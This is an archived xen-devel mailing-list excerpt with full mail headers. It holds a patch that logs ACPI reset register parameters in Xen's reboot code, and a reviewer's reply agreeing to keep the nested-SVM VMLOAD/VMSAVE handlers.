 b=I2a1ExEmkt+MPP5dDVq4J1ZkPQtPANE8XO5Y4FrVQjaZxZ14X52uVuF4U2Jf8Roq03HVrOABSPpPq0J1kcSb7H39eCByCGo3hh3KRIB05jdqFrxDVezuQOpz2Q0gm8bVu3x6qRAugIiP4xBNKrYkejA1wAZNmQx9IAY/Komqzifs11RTXWOcBil6bLWq65sKLEoOqcAyrTPqtDPOuvaB3ZizxqUvAabWPI8mY3IYal+UvBhpiaJXCeSn2s2/j+G9o/Bx6VsKcfF3Drv+7BX6OWAM/MMmi5tu6nkHsoD73PIh1Kh7+VimEDgGMQd4fJWeOLmKDPLnni5YRhMmtRLUxA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=sIEHNcXzFwhxwKUbaYsNjyDEFklQxVKPHFW+JOEsbd4=;
 b=Wd7qLNoeuzfmkRI932coAzZY1QLBBjTVWhIQMefqJ4MHpH263FFWDZiLWHYBrQOomYepRMOFm7DSsKay7ULxM+zqdz1h2iwkogV0WVGypoCOWEaLtbaHVlwEJkc38JDkHKkqu4W1LonV6Lqx/5W91lLn9Dkbxs2vjAsWJ6qaPCAv7bgj4cLsDfBjOKcwqagFi3bHW9+ky2IdC7fyakNjPMJAb+zuOHreG57xg32lVzvXxL8MKW0TO/nq7B+a+yqv9Bf+Pl4hhAPJ43WJF3BnMldlAiKUo/OoEZGWUX4X7YRRApcuNNq7noC+9CMDcA2fPJFKTRS4N0j47puJCyNwZA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=sIEHNcXzFwhxwKUbaYsNjyDEFklQxVKPHFW+JOEsbd4=;
 b=dV/qa2VhxYpRxaj+Hsw+eJ/qO7iqTf499n7aVibe+YEGK9BCog03rMNchehKd/5/EeZpV7rIoU8foDv8YPP4QsSJI9o4Sd5wvW8R/BzYNvNSj8CTnG2mdVB8iLeIlfD5KZduZYxbOYTXsL94gFlf7SKjSvijhuU95e9TF4+OGB4=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=sIEHNcX
	zFwhxwKUbaYsNjyDEFklQxVKPHFW+JOEsbd4=; b=bMa0vfoeJYcCI6ipPZQpet7
	eC82xyAJkb+jnqxNq6dn7kfrkJvrhYzVpqQI1+P9QKQCcN168XUgR25Dboj59Bu+
	rYp1J+1QVmqrxmuTmdD1+fOB4yHphprCy+OLcBgPeH5XGAahXORXfDDWuuVfKhfX
	5OVMPNWILBg3gyWoPgTQwrawnvabgLH8aEbfFNXqScncLpBsSjJdEH6r9hUBhA52
	Vi4SegUecVAFFYTX9NMl4J88w6nbUbu8zv1m4JFcRGXWwZjB0qAwNZqvNKSQHaw5
	a62edBemfMBgtTOb+wppJRG00rmi2k5l+npjpF0LgM8oXzxtDrQijX107o4nKEw=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=sIEHNcXzFwhxwKUbaYsNjyDEFklQxVK
	PHFW+JOEsbd4=; b=CBwBwdGDm8QPHVwuTrI23+XgM6iSgStEL42kb5GBgv1kd+O
	TRqFlwcxwu5g0PFTyxMlSCAEYRGi1WYsyc6g/LmHxH69VwnoTIkIYbzqOlurWgqI
	5tXgdDuFH25K/XnOze4Xp3rPoA7ga1k44jST2n3mvD/U3xfb4piLYus1PM/CaZFM
	AR/mOGiNzywJwSyIsQpJMlNH6p3H2pQb5bhxRvpVNIWjocFbunOZDAmuidpdMXon
	jsns0lbqS1JboFMaop0d3wdi9GTGgtiDIrJD0X1uA4z6ABVdzTtQazOomUziIOdv
	UgXE1ajdcgoh7EhoFLlYZM5ySVlTLzIoXasfZ1Q==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: pEUUw8TZGERZKpEUVwOsSj
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH] acpi: reboot: log reset parameters
Date: Wed, 29 Jul 2026 17:18:55 -0700
Message-ID: <20260730001854.905354-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_08,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 spamscore=0 suspectscore=0 adultscore=0 phishscore=0
 malwarescore=0 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607300001
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF00012E61:EE_|BL3PR16MB4322:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: d43fad1e-4aba-455d-ffd3-08deedd0324d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|82310400026|36860700016|1800799024|376014|56012099006|11063799006|10067099003|13003099007|18002099003;
X-Microsoft-Antispam-Message-Info:
	sZSjB3kgJgAyeihzeVN9xlDXRluuM0do7WKvPQalAqiUyXlgiqIEjRfzaAZtBKGcFg93WkSkcdE+HHCzQcjekVRPceCPZ7fOKQ/SfAapDwWvNrrOjBnVODETKvGfLL11TC7tcQGeqqQVZFY44p/MQ7Xo5YSxH2BXUgtMnW9hYZaqWbQOsSikwpAHcGrjg4BEyThevirgcFuz1ZlgV3lSjZJR8h9MB/qexWRJQrOgPVldpUdIsBqLFWxnByQ1z3MSWfsUQCOgvP6bZYy/BjmuHRFL/Q52Hp6EDAz5hCe/a3ebQITpWFBTjj9MCWKAS2xZDk8N6alod2/Wn4LJn9TEBGXb4AkU920MYqA9obt3HO6/04/eA8Zh6qzVPDuk2YR3eD+KZe9Kgyv6kGXXpTx2V7Ddau34+AVs5XYQKiV7ut5K78lKeoqKuXYJrCZhrHrxXrJp3VR2EqJANXoN/9gUonEVE/q0e3cHrcg4cRGxSgfNLv3LvoaSUXc066nV6ko1rhgsOSF717xNPBw5dkk7s3gpsfqmL65F2fdqxRhXp/yPsCT9rgnYRUmZxmX8bIWsGWf6JqD2wywxBpCR+Ih58MQKrbFdq7lMhUELNEaKp4QK7QutmK2EyZuR2tQYBHQfvSUm8GtsrToZmedhm/V05Oyg/UY6t+8bvv2QNsPEPbcw8pYywU8fX+rNJSc3xCXDEI+YCVRdF9+BUBGtPV8SoA==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(82310400026)(36860700016)(1800799024)(376014)(56012099006)(11063799006)(10067099003)(13003099007)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	pXE+WOXH1/MKJXcSHN5SVjKKraLNtQPQr4vF+aKoDV82TH/6ToO8DZFKDd1IjEvCOoqN5baaehl1JDJnXViude5QJl4Rws05lJOx1h+ymJJfZDH1ZNCQPmoSvV4lZUIq5fsz0KynEOa/xCJEqVncLtmfiVEKvJuqWxZhPPL1wRjA67ER5gR4eCg3NEoCxZp8vTWDjNkvYM+ZkfhtiLN051701ckQYVzkYYoi9lD1KESECcXgA4V3+Kvog4rNvynWFozwKI17wJhIdekJLSGBc8pODalWIh3U5o8e34HCy3eiYUJ1UMCM/gAexSrPyk+ucEMVkWu53l3l33HqIfbxJLX2S6W2/LQg87nzZwiJkPtIUDKUOK+Mp1fSIwcqAdNzYYC6dhGx7h3AnyW176nkxEjYZzVChjdTOQ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4oM12v/kbKB9GG8WFK7wE2Nj0GdmxbxV+D+vzuvur+gzvT4bEd4cl4rb/SWyVg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 00:19:18.4819
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d43fad1e-4aba-455d-ffd3-08deedd0324d
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF00012E61.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL3PR16MB4322
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMwMDAwMCBTYWx0ZWRfX5DdMwe1bGScn
 YE8wkiu6e13jL1TQ42odtO8LomBTPV+6YsJEGgahe7o6dW9y+sI+pqlE7d1I58SkNGXtpJnZy7A
 6L+75nyiM5y6uyDq+KG7vrVF91lquwi8xqUaPbRq6LPbO6z0zoUTn91cL4FmkTXaVF2I/bzTgLm
 mZl0sAoyCUUhXoQC8uS8s6VD7Xm5TnwjGpuvyKriNQAohm3fj+JO5NvHmCiFIPhLPxGl8SCfe6z
 j3+GO8czzbSusPk7mIr3oqszBKKzeXthjwlFt8qjayoCEZ3GVXDJR98pkKt5AVN+/cr0q/dk9ZU
 RSrbKK+4tNUYMdFIiMVoX6MMv+r9Q3I2Wx4mHTKNguTF365IctdhI6hFWZ/f8KCRmGTIH7rHiGZ
 GtNDyi/DkS2QaYb38vMX0RHQ6DwcUZYQ1xvjmSZYdHOGB7VYPzbEjmEfl3aUEKYdhOM/yx/+uOi
 0JOwJ8PAhKUXtuD7LKg==
X-Proofpoint-GUID: yYYiySk05OdWqPFRlENa0VPBXAescp0d
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMwMDAwMCBTYWx0ZWRfX+2yl/1OJz4ud
 unFffaip0xpN/kxiegfzOsp7aP1aRpJdyeOx3dSQvl66W0NANzrXRQIiZsNwcN4nWcGstM6W3+B
 G5fPaj2k7ZGVeOUNKggTJ8YXiF6416RUPfgmE4jdHoADwiT2j204
X-Proofpoint-ORIG-GUID: yYYiySk05OdWqPFRlENa0VPBXAescp0d
X-Authority-Analysis: v=2.4 cv=CMAamxrD c=1 sm=1 tr=0 ts=6a6a988a cx=c_pps
 a=E0//De2tebslxPhFmdrqCw==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=0GA0A_IKJoUHBEAzNTkD:22 a=p0WdMEafAAAA:8
 a=cbNQJ9GKAAAA:8 a=qFihuJ6Vptisz9_4wjwA:9 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_08,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 phishscore=0 lowpriorityscore=0 malwarescore=0
 suspectscore=0 adultscore=0 clxscore=1015 bulkscore=0 impostorscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607300000
X-purgate-ID: tlsNG-16d1c6/1785370766-F5C0F77B-FE54BF16/0/0
X-purgate-type: clean
X-purgate-size: 2078

From: Denis Mukhin <dmukhin@ford.com> 

Xen does not provide much details for system reset debugging in case
system reset happens via ACPI subsystem.

Log reset I/O address and reset value.

While here, fix the missing default case, guard it with
ASSERT_UNREACHABLE() and drop full stops in the loglines.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
CI: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2716843348 
---
 xen/drivers/acpi/reboot.c | 22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/xen/drivers/acpi/reboot.c b/xen/drivers/acpi/reboot.c
index f6345be8749f..3b0437395674 100644
--- a/xen/drivers/acpi/reboot.c
+++ b/xen/drivers/acpi/reboot.c
@@ -6,6 +6,7 @@ void acpi_reboot(void)
 {
 	struct acpi_generic_address *rr;
 	u8 reset_value;
+	pci_sbdf_t sbdf;
 
 	rr = &acpi_gbl_FADT.reset_register;
 
@@ -21,17 +22,24 @@ void acpi_reboot(void)
 	 * on a device on bus 0. */
 	switch (rr->space_id) {
 	case ACPI_ADR_SPACE_PCI_CONFIG:
-		printk("Resetting with ACPI PCI RESET_REG.\n");
+		sbdf = PCI_SBDF(0, 0, rr->address >> 32, rr->address >> 16);
+		printk("Resetting with ACPI PCI %pp RESET_REG at 0x%"PRIx64" (0x%x)\n",
+			&sbdf, rr->address & 0xffu, reset_value);
 		/* Write the value that resets us. */
-		pci_conf_write8(PCI_SBDF(0, 0, rr->address >> 32,
-					 rr->address >> 16),
-				(rr->address & 255),
-				reset_value);
+		pci_conf_write8(sbdf, rr->address & 0xffu, reset_value);
 		break;
 	case ACPI_ADR_SPACE_SYSTEM_MEMORY:
-	case ACPI_ADR_SPACE_SYSTEM_IO:
-		printk("Resetting with ACPI MEMORY or I/O RESET_REG.\n");
+		printk("Resetting with ACPI MEMORY at 0x%"PRIx64" (0x%x)\n",
+			rr->address, reset_value);
 		acpi_hw_low_level_write(8, reset_value, rr);
 		break;
+	case ACPI_ADR_SPACE_SYSTEM_IO:
+		printk("Resetting with I/O RESET_REG at 0x%"PRIx64" (0x%x)\n",
+			rr->address, reset_value);
+		acpi_hw_low_level_write(8, reset_value, rr);
+		break;
+	default:
+		ASSERT_UNREACHABLE();
+		break;
 	}
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 02:37:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 02:37:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376989.1623330 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpGeL-0003sr-8z; Thu, 30 Jul 2026 02:37:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376989.1623330; Thu, 30 Jul 2026 02:37:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpGeL-0003sk-61; Thu, 30 Jul 2026 02:37:33 +0000
Received: by outflank-mailman (input) for mailman id 1376989;
 Thu, 30 Jul 2026 02:37:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stephen.cheng@citrix.com>) id 1wpGeJ-0003r1-F8
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 02:37:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpGeG-001XeN-Pm
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 04:37:28 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a6ab8cc-5cb7-0a2a0a5109dd-0a2a4501a2b4-24
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 04:37:28 +0200
Received: from [40.93.196.4]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a6ab8e7-5984-0a2a45010019-285dc404f6dd-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 04:37:28 +0200
Received: from CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
 by DSVPR03MB886569.namprd03.prod.outlook.com (2603:10b6:8:37b::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 02:37:25 +0000
Received: from CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767]) by CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767%5]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 02:37:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=uZMFrnR9JFzVzIgWNVBjtRs8fyUxwZqSENsDvCvjT489vBrGQllXJ+v7cMPEEi74xVfWaEoaexB6Ior2N9iPhBtCxHmIxh1CCxJq9gBcZVOmJiQoZydR1cKUpS0BB/09HJrIKDmab/goXZiNA7bgbDt58JmuMSsTOJx1GQKgUaRTUNnKH9FaLi+gcDMsNBxq5HvrsuymMw93IsZXB7lGg73B+xZ4xHTtaMPd8iWjzD4ci7NOs1KB1CXn6ZoF1urdBdNQNuVZJucgreenHLLB3Y6Ul2w7J4UYeDI2ZPT2EO8zlsjDdeB6nG5D5gMQc/sHlAueMLAb9yXUAxtTqpRVSQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=tJgCWAtxLESc93+q4IZg34kflkg07FIREavXKChpPb8=;
 b=TKkXMlE/YKomgs6AhgeTuSNYYCC/dVvwARlJ91qujSgqHahmPQU+NE1/sNnl2HbGJrcF+yA8+vbnQwut2ZXI04zNPbP1Dcl9OIHxorHxPwzzMcw/OjZeet2DTHu4X5tXoNM+DDFxQl6CADHPNSvp5xwZoMt60rj47DSm+Zc6PJ0U/VvMVNeVkHGWJdmVwYhK4HDEOhnV9V5WC7RNTCG9vIyIcoFvMnW6jnAPSE5vL1fpY/ch1kLxpZIZSiOUxoKOh5f/eVp1ZZqUIqLsQyjmhcP37yYsl1E07L6RJnXDIcuLe+lAC2DxCWdlvzEM4bA05MHC2ykvSWE1bYpp4Yiq8Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=tJgCWAtxLESc93+q4IZg34kflkg07FIREavXKChpPb8=;
 b=xuUrKah4nY+LpRDM5IQwr9DPiFg4AZNIUb51kaH2jE4yF+FuZQ8zHAbeqWVLhyiiEgSgYYL+b3PZcnkKjILOErc48JFRPhSEuql3PytKuh+4yQoV7YlQf/TdyBi61Sx4s+q5DOvvhtQ+w4jqPwrqB1f2RpoVLPQxho6CYCHBXdY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Stephen Cheng <stephen.cheng@citrix.com>
To: jbeulich@suse.com
Cc: andrew.cooper3@citrix.com,
	anthony.perard@vates.tech,
	jason.andryuk@amd.com,
	julien@xen.org,
	michal.orzel@amd.com,
	roger@xenproject.org,
	ross.lagerwall@citrix.com,
	sstabellini@kernel.org,
	stephen.cheng@citrix.com,
	teddy.astie@vates.tech,
	xen-devel@lists.xenproject.org
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Date: Thu, 30 Jul 2026 10:37:15 +0800
Message-ID: <20260730023715.68531-1-stephen.cheng@citrix.com>
X-Mailer: git-send-email 2.49.0
In-Reply-To: <874be4f5-b7fc-4114-959e-1b31ed4e7608@suse.com>
References: <874be4f5-b7fc-4114-959e-1b31ed4e7608@suse.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: KL1PR01CA0156.apcprd01.prod.exchangelabs.com
 (2603:1096:820:149::13) To CO1PR03MB7889.namprd03.prod.outlook.com
 (2603:10b6:303:275::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PR03MB7889:EE_|DSVPR03MB886569:EE_
X-MS-Office365-Filtering-Correlation-Id: 53ccaefc-c47e-4fd9-08b7-08deede37d84
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|376014|1800799024|6133799003|56012099006|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	maM2h07suG8F01D84V0OKNhWfaBwos4xmYOLbcio1zyiZCvSQUI6LiIRfnaOsACsreQvJs2Nem6nY6MDX6k80sJv5B+LVpEdiL/STBd66DjJjB1hxH+/KQLceRbUS7hjf7/f0DRQu+kVfzijGcMNEh8R2Qz90amM8o6yxTUlEWUECbmmyyCyLINYCyWJrA6BBIwHgaNuW6DGCQU94gI0NbKFsPrGm9uHBSnH2sol0Wi+jn/NVPrl6svdRxjie20QQgxHRewAh2eTg/O7FCOpyFHKBkyWrrcuquCOvKPJKJSie3ju3INY00muPdFTcdDrO83OYyZ0OQelIY1Yrbw9Qiy4/5XqIa0aKs5w85px+47uQbOcLRuBATaQkhj+Ljqs3ahElrpw2+IH9wHhHEb4RSZFcrEFKT9m7txt3iODcomZLQ8gS2/X73GZ0g7EFLK3OEtVoVBdicdLKrzendQA7RbdqN5xQ5yqZfye2CvKGYNHJKfTL3jwEkxeTtcJAZ+f/o5iv0jGc8BPpgRTKKkwpFlohBQHtZ0H44ZowD+zDn97APQ2uOBAi93TcmcQbmOpTQf4uxkg+rVnvuRfeyEa2Lj+5foYzsqbXNN+Hsp7ysljsXskB+pD7YQzMlrpSUVmLZSEZQFw6XU83ScVfreWdzP1Bq48O4zeFZFe/aHzElw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO1PR03MB7889.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(1800799024)(6133799003)(56012099006)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?VBpu+JAHFXcGJs0gBqs1aG4755Iwd/2a/DgysQS9/iCFhPulJnGxYtrLOa+q?=
 =?us-ascii?Q?ZAitqkYbIVyNvFOPiafXD/CAp/HXEaTPREPyVj0EM5slWgwE8T6ENX+8mB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ii?Q?HHPr3tQqEhujUrpeN2d0Ukci2cwdpqA8T7DxVMlTKEC83sIJkGBpTw5G57lE?=
 =?us-ascii?Q?GbO3B4jmFonbpvu4NuvpUoyfMfXCu8h0uU3+tBG3lEEpyi5D0DRlihGyuTTJ?=
 =?us-ascii?Q?u1M+/5OLMpY96s6seZ+d1q7K2gE4zUlLtEa5ar6I411JNexNlqN0Imbj2mkL?=
 =?us-ascii?Q?qc8uLLCdFkuprE30k/3H7Sx3IJJIUuAgt56FlVWTWPuEaNlrf3SnIAFBbxob?=
 =?us-ascii?Q?TeBHG0OuhaTZL7RmGZDmWUyBAAdFNP99fV6W0o7P7JQdz7KJdlFDqmyS+uNW?=
 =?us-ascii?Q?a8Dn3AVD5jUlgblyc2f/OPd/wCXs7zDWDOtLygP2o4yBRbpdK2AYEVOUFDWV?=
 =?us-ascii?Q?fJjjjuZYOV0FiqpFGc5nS3baVKmkznGp8bmzGYyk6zOwtofuSw+1fsKG06ax?=
 =?us-ascii?Q?jKGbnIJI9XXYErn4WWkXpH3caxVNnCmdic6eROarvlhJkx7gOobwVIOstIVQ?=
 =?us-ascii?Q?wTugNBp7pc4vopR15x5nnJZgbjqnqLO9998e3SK4c4lXVa6X4y5WuLyzpfA4?=
 =?us-ascii?Q?JyijLY0ECyPuHmZN48e+L+F+O3ZOXk2wytrM3rSQ7Vr3h5hH70xH4iGZH+xp?=
 =?us-ascii?Q?q9iubj61x6g6dyobQbP66XdoAuXU9VWXmAiNpqfUC3Kawk3uifpPcLp3HH2s?=
 =?us-ascii?Q?cIs2fUeYd2EFiW0rWAqy6s25rfEpFnTREaXXZnYo1IrnIRNP8d3ILTra9kZ8?=
 =?us-ascii?Q?qraIuDnkV4IunD9Wa+7j9TYykZnUn74+Dz3eKw9+PZALBQDIVrNZXb9gFayz?=
 =?us-ascii?Q?RvRy9HexSw=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 53ccaefc-c47e-4fd9-08b7-08deede37d84
X-MS-Exchange-CrossTenant-AuthSource: CO1PR03MB7889.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 02:37:25.4101
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: B9d+VgRBbQ7jOUyDfdM9wRF/T165CcYbrKTawr0p9iti/sxh/JdUWU2QWVHFcUHsEvl0Pr0uh+fUn1Bq8BSGumZqJsbZ4iGjjnPW3ht0a9c=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DSVPR03MB886569
X-purgate-ID: tlsNG-d62444/1785379048-1F46D757-5198BE5A/0/0
X-purgate-type: clean
X-purgate-size: 1052

On 28/07/2026 10:03, Jan Beulich wrote:
> But the functions you drop aren't needed just for older parts. They're also
> going to be needed when the insn emulator hits these insns. This still is
> in need of properly wiring up, but imo we better wouldn't delete code which
> is going to be needed later on.

Fair enough.  I've talked this over with Andrew and he makes the same
point -- the emulator needs VMLOAD/VMSAVE wired up for reasons that go
beyond older parts.  I'll drop the removal.

Worth noting for the record that the handlers become unreachable in
practice, since svm_nested_features_on_efer_update() clears the
VMLOAD/VMSAVE intercepts whenever the guest sets EFER.SVME.  They sit
dormant until the emulator work picks them up.  Keeping them or
removing them makes no behavioural difference.

Ross -- this reverses your suggestion to fold VMEXIT_VMLOAD and
VMEXIT_VMSAVE into the VMEXIT_RDPRU #UD group, as that only works if
the handlers go away.

I'll submit a v2 patch soon.
Thanks all for the review.

